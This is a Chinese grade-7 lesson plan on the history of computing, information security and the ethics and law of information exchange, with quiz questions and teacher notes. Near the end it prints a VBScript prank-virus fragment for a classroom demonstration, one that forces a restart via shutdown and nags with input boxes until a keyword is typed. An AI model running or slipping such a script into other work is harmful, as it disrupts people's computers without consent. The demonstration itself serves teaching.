《《信息技术发展、信息安全和信息交流的道德与法律》教学设计.doc》由会员分享，可在线阅读，更多相关《《信息技术发展、信息安全和信息交流的道德与法律》教学设计.doc（4页珍藏版）》请在三一文库上搜索。
1、37第5，6，8节 信息技术发展、信息安全和信息交流的道德与法律教学设计鳌头中学 罗斌一、学习者分析学习者是七年级学生，该年龄段学生愿意接受新鲜事物，对未知的事物充满好奇，愿意用自己的方式探索理解事物。但是又活泼、好动，非常的不愿意上枯燥的理论课。学生在日常使用计算机的过程中经常会碰到信息安全问题和信息交流过程中的道德、法律问题。二、教材内容分析1本节主要内容及在本章中的地位本节课主要介绍信息技术的发展历程、保障信息安全的意义与措施、信息交往过程中的道德和法律。通过本节内容的教学可以充实学生信息技术知识。知道一些最基本的信息安全处理措施，以及在信息交往中应该遵循的道德和法律。本节内容大部分需要
2、识记。 2教学重点、难点重点：计算机病毒的传播途径及防治方法、骇客的防范 难点：保障信息安全的基本措施辨别信息交流活动中的行为是否符合信息道德规范3、课时安排：1课时三、教学目标1.知识与技能(1)了解计算机硬件发展，网络技术的发展；(2)了解信息安全的概念和意义。学会处理常见的威胁信息安全的措施。(3)了解计算机病毒与电脑骇客的危害，知道防范计算机病毒及骇客入侵的基本方法。(4)能叙述保护知识产权的意义和相关法律，法规(5)能辨别信息交流过程中的行为是否符合信息道德规范。2过程与方法通过自主学习，能够掌握计算机硬件的发展历程，进一步了解计算机的网络发展，能阐述常见的信息安全防范措施，了解计算
3、机软件知识产权知识，能够辨别信息交流活动中的行为是否符合信息道德规范。3情感态度价值观自主学习培养，结合现实解决问题的能力，树立安全使用信息技术的意识，增强法律意识，能够健康安全的使用信息技术。四、教学理念和方法本课内容较枯燥，理论知识较多，以引导为主，探索学习，自主检测增加信息发展、安全和道德知识，通过课堂抢答加深记忆。五、教学过程设计教学环节教师活动学生活动设计意图英文打字教师根据监控端信息评讲打字情况，对学生打字提出建议。学生课堂练习中英文打字3分钟基本技能训练导入新课学生打开学学练练自学3分钟教师播放“第一台计算机”视频学生用3分钟对照辅助系统学学练练模块查看图表记忆。通过创设情境，导
4、入新课，激发学生学习热情，识记学习内容。信息技术的发展课堂抢答：构成世界上第一台电子计算机“ENIAC”的主要元件是（ ）。A.电子管B.小规模集成电路 C.大规模集成电路 D.晶体管【教师】抢答完成，讲解第一台计算机，以及计算机发展历程。目前应用了计算机技术的领域有（） A、人工智能 B、办公自动化 C、金融业务 D、以上都是【教师】抢答完成，可以讲解信息技术网络发展，学生完成抢答，并了解计算机的发展历程通过抢答进一步刺激学生积极性，让学生参与到课堂里面来。信息的安全以下影响计算机信息安全的因素中，属于人为因素的有（）地震洪水骇客入侵风暴误操作计算机病毒侵害A、B、C、D、【教师】讲解信息安
5、全包括的内容最新版本的软件是没有漏洞的，漏洞只在老版本的软件中才出现。（）A、对B、错【教师】讲解常见的信息安全应该采取的措施。用杀毒软件删除某个带病毒代码的文件（详情见，教学资源）下列可以有效预防计算机病毒的方法是（）不用来历不明的软盘、光盘定期杀毒更换内存不轻易打开陌生人的邮件洗手后再用计算机A、B、C、D、学生完成抢答，观看病毒代码，并且查看杀毒软件查杀病毒过程通过抢答进一步刺激学生积极性，让学生参与到课堂里面来。通过观看病毒源码，通过查杀体验病毒是一种程序。信息交流中的道德和法律美国高中生杰弗雷帕森对冲击波病毒进行修改并传播了一系列病毒变种，使全球超过50万台电脑受到攻击。针对这一行为
6、下列说法不正确的是（ ）。A、该生属于思想意识问题，并没有触犯法律B、该生已构成犯罪，应受到法律制裁C、网络用户应引起高度警惕，增强防范意识D、人人都应自觉遵守网络道德规范小明把自己买的正版软件放到网上供别人下载，这种行为时合法的。（ ）A、对B、错作为中学生为了节约，我们可以购买盗版软件进行使用。（）A、对B、错【教师】讲解关于知识产权的两部法律法规学生完成抢答，辨别部分信息交流过程中应该遵守的道德和法律通过抢答进一步刺激学生积极性，让学生参与到课堂里面来学生测试学生完成测试，完成小测的学生可以进行打字训练通过练习来巩固知识小结通过评讲课堂小测，对照学学练练逐步小结学生继续完成练习通过小结进
7、一步巩固知识3.教学评价课堂辅助系统抢答、课堂辅助系统课堂小测4教学资源病毒代码：保存为VBE文件。以下代码是个病毒片段，会重启计算机on error resume next dim WSHshellA set WSHshellA = wscript.createobject(wscript.shell) WSHshellA.run cmd.exe /c shutdown -r -t 60 -c xiongmaobaify,0 ,true dim a do while(a xiongmaobaify) a = inputbox (xiongmaobaify xiongmaobaify ,xio
8、ngmaobaify,xiongmaobaify,8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBox loopmsgbox chr(13) + chr(13) + chr(13) + xiongmaobaifydim WSHshellset WSHshell = wscript.createobject(wscript.shell)WSHshell.run cmd.exe /c shutdown -a,0 ,true msgbox chr(13) + chr(13) + chr(13) + xiongmaobaify 六、教学反思这节课的内容比较多，大部分都是识记类的知识。只能给学生初步的印象。如果要上好这节课，必须让学生在课前预习。部分班级比较难完成全部的抢答。